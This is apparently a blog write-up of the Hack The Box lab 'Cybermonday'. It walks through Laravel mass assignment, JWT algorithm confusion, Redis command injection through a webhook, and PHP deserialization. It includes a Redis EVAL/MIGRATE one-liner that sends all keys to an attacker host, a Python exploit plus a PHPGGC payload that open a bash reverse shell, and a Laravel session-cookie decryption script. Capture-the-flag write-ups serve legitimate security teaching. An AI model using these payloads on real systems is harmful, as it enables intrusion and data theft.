Cybermonday English

 

Enumeration

Zenmap:

Website:

Show website:
Sign up an account and show website:

Website debug:

After checking the website I noticed that the website automatically opens the debug window if I try to cause sql error. There are 2 ways to cause the error, login with an exist user or change the user information in the profile. After changing user to Admin, I get:
I know that this is Debug of laravel, and I found that there exists folder .git:
Now I know the .git directory exists and I can access it. Use the git-dumper tool: git-dumper
Read source code from .git directory, using any tool like: git, git-gui, ...
The source code is in the ProfileController.php file. If you can't get the .git folder, you can also view the contents of the ProfileController.php file in the debug page:
Looking at the source code, I see that except for ["_token","password","password_confirmation"] all api input parameters are saved with $user->update($data); into the database. From the source code in git or the debug page, I know that the user info looks like this:

Website admin:

I see that isAdmin is not sent in the Profile update api and I can send it more in the parameters. Update isAdmin to true:
Reload website and I get the following output:

Webhook:

Access Dashboard website:
Here, I found a new domain. Access this domain:
From this domain, I know api information of domain and method used to call apis.
Making a call to test each api, I know I can sign up, login, delete webhook,... Action sendRequest, is the only api that I can't do, api webhooks/create always says Unauthorized. I need the webhooks/create api to work.
I know that I can find the public key in this domain:
Search google then I found this: Performing an algorithm confusion attack
This part will install in the burp I will not repeat this part in the article.
After the installation is complete, I have key pair as:
Call the webhook/create api with the x-access-token I created earlier and redirect to burp:
I can create an api that calls the sendRequest action.
Forward packet to Repeater in burp, set role as admin, click Sign in and send packet.
Now, I have api that can send sendRequest action. Check it out:
Then I get a connection from the server to my machine:
PS D:\thehackbox\Machines\Cybermonday> python  -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.**.** - - [21/Aug/2023 23:47:54] "GET / HTTP/1.1" 200 -
Try inserting some special characters, I get the following results:
Then I get a connection from the server:
PS D:\thehackbox\Machines\Cybermonday> ncat.exe -l 80
GET
POST / HTTP/1.1
Host: <IP attack>
Accept: */*

Redis

I know that I can split of method in the sendRequest action.
At domain cybermonday.htb I know that this service is written in laravel so it will also follow laravel's structure. I check some files may exist like .env, Dockerfile,... 
I got the .env file, The file has the following content:
REDIS_HOST=*****
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=
I have a redis host, I guess I can exploit from redis.
Then I get a connection from redis server that looks like this:
With this connection, I know that there exists redis server on box.
I made the mistake of running the above redis command, it tells me that I can insert the command into the redis server but it gives me the website error like this:
I will end the slave to end this error, there are other ways as well.
Then the website was back to normal.
Looking to be able to see the keys in redis.
To get all the keys in redis  I use the command KEYS: KEYS
Besides that I need to write a script using EVAL, it uses lua language for the purpose of traversing all the keys that i get in redis: EVAL
MIGRATE command in redis can help me to send key and value to my machine: MIGRATE
EVAL 'for k,v in pairs(redis.call(\"KEYS\", \"*\")) do redis.pcall(\"MIGRATE\",\"<IP attack>\",\"6379\",v,0,10000) end' 0\r\n\r\n
Send command:

Then I get a connection from the server:

Gaining access www-data

Tại đây tôi thấy trong laravel_session:** chứa một payload có dạng serialize. tôi nghĩ rằng mình có thể ghi đè chúng và giúp tôi thực hiện shell, Sử dụng PHPGGC: PHPGGC
I have the following exploit code:
import requests
from base64 import b64decode
import subprocess

CLRF = "\r\n"

def encode_cmd_arr(arr):
    cmd = ""
    cmd += "*" + str(len(arr))
    for arg in arr:
        cmd += CLRF + "$" + str(len(arg))
        if isinstance(arg, bytes):
            arg = arg.decode()
        cmd += CLRF + arg
    cmd += "\r\n"
    return cmd

def encode_cmd(raw_cmd):
    return encode_cmd_arr(raw_cmd.split(" "))

b64_payload = subprocess.check_output("""./phpggc/phpggc Monolog/RCE1 system "bash -c 'bash -i >& /dev/tcp/<IP attack>/8888 0>&1'" -A | base64 -w0""", shell=True).decode().strip()

payload  = CLRF
payload += encode_cmd_arr(['SET', 'laravel_session:b55dpnaGBgJLHzsZABshRW2rj3Q0uTtVkZMkZ1hb', b64decode(b64_payload)])

r = requests.post('http://webhooks-api-beta.cybermonday.htb/webhooks/c08b88f2-f22d-4559-8360-a0421d851343', json={
    'url': 'http://*****:6379',
    'method': payload
}, proxies={
    'http': 'http://<IP burp proxy>:<PORT burp proxy>'
})

print(r.text)
There are many different payloads. I will test other payloads manually later.
Executing the exploit. Then, I check if the redis key has been changed or not:
I see that the content key has been changed, Reload the website and I get revershell:

Method New

I know that when I receive the file .env:
APP_NAME=CyberMonday
APP_ENV=local
APP_KEY=base64:*****************************************zA=
APP_DEBUG=true
APP_URL=http://cybermonday.htb
I have APP_KEY, Search for Laravel exploit: Laravel
Decode token with app_key:
First, check the burp I have the following token:
Edit code:
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
    global key
    AES.key_size = [len(key)]
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
    global key
    AES.key_size = [len(key)]
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.encrypt(value)


def decrypt(bstring):
    global key
    dic = json.loads(base64.b64decode(bstring).decode())
    mac = dic['mac']
    value = bytes(dic['value'], 'utf-8')
    iv = bytes(dic['iv'], 'utf-8')
    if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
        return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
        #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
    return ''


def encrypt(string):
    global key
    iv = os.urandom(16)
    #string = dumps(string)
    padding = 16 - len(string) % 16
    string += bytes(chr(padding) * padding, 'utf-8')
    value = base64.b64encode(mcrypt_encrypt(string, iv))
    iv = base64.b64encode(iv)
    mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
    dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
    return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='*****************************************zA='
key = base64.b64decode(app_key)
print(decrypt('eyJpdiI6IktSSi9XT3RVdEk2eFpkelBKRXBldkE9PSIsInZhbHVlIjoiZDl1U2lVbnBZbFJuWWR6UEVqTXJUSnRwYytuSVJqeFVWY2hUUWw5RXZneis3QUpyY0U1a0NQU05EUTFmRW55OVQ3WDMxVTBXeUVHVTFqekNSajNGa3djdnFiWFdnU3lZNDhWaTdrWGF6R1p5ZHk3eUIyQ1hZSkRFMHpZNktoclkiLCJtYWMiOiJhMDE0NjQyN2QxYzY3YmExN2ZhYmI1NmE2ZDA1ODQzNWJiYzYyM2Y5MGE0YTJiNjAzNjk2NWYyMDAxMTMzNGFmIiwidGFnIjoiIn0='))
Run exploit:
Decrypt the token, I see: LJyQuM2Q5ZO2IHwsFtQyPiNjANJaq4F8GaiGSqR2
Check if key exists in redis:
MIGRATE <IP attack> 6379 laravel_session:LJyQuM2Q5ZO2IHwsFtQyPiNjANJaq4F8GaiGSqR2 0 5000\r\n\r\n
Then I get the connection from the server as follows:
I know that the key exists on redis.
Start exploit, I create payload:
$ ./phpggc/phpggc Monolog/RCE1 system "bash -c 'bash -i >& /dev/tcp/<ip attack>/8888 0>&1'" -A
O:32:"Monolog\Handler\SyslogUdpHandler":1:{S:9:"\00\2a\00\73\6f\63\6b\65\74";O:29:"Monolog\Handler\BufferHandler":7:{S:10:"\00\2a\00\68\61\6e\64\6c\65\72";r:2;S:13:"\00\2a\00\62\75\66\66\65\72\53\69\7a\65";i:-1;S:9:"\00\2a\00\62\75\66\66\65\72";a:1:{i:0;a:2:{i:0;S:50:"\62\61\73\68\20\2d\63\20\27\62\61\73\68\20\2d\69\20\3e\26\20\2f\64\65\76\2f\74\63\70\2f\31\30\2e\31\30\2e\31\36\2e\34\2f\38\38\38\38\20\30\3e\26\31\27";S:5:"\6c\65\76\65\6c";N;}}S:8:"\00\2a\00\6c\65\76\65\6c";N;S:14:"\00\2a\00\69\6e\69\74\69\61\6c\69\7a\65\64";b:1;S:14:"\00\2a\00\62\75\66\66\65\72\4c\69\6d\69\74";i:-1;S:13:"\00\2a\00\70\72\6f\63\65\73\73\6f\72\73";a:2:{i:0;S:7:"\63\75\72\72\65\6e\74";i:1;S:6:"\73\79\73\74\65\6d";}}}
Then I edit the key value to be my payload:
Reload the web page and I got the shell:

Alternatively I can also use slaveof:
Start redis server on my computer.
Connect the redis server on the box to the redis server on my machine:
Then my redis server log will get the following:
But my current website will crash as I mentioned before, to fix it I send the following:
Now, I decrypt the token and generate the payload as done in the previous steps. Then do key sync on my redis server with redis on the box.
Reload the website and I got the shell.

*note: Khi nhận được shell tôi luôn gặp lỗi website 503, để hạn chế điều này sau khi nhận shell tôi cần gọi lệnh xóa key mà tôi vừa thay đổi.



Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post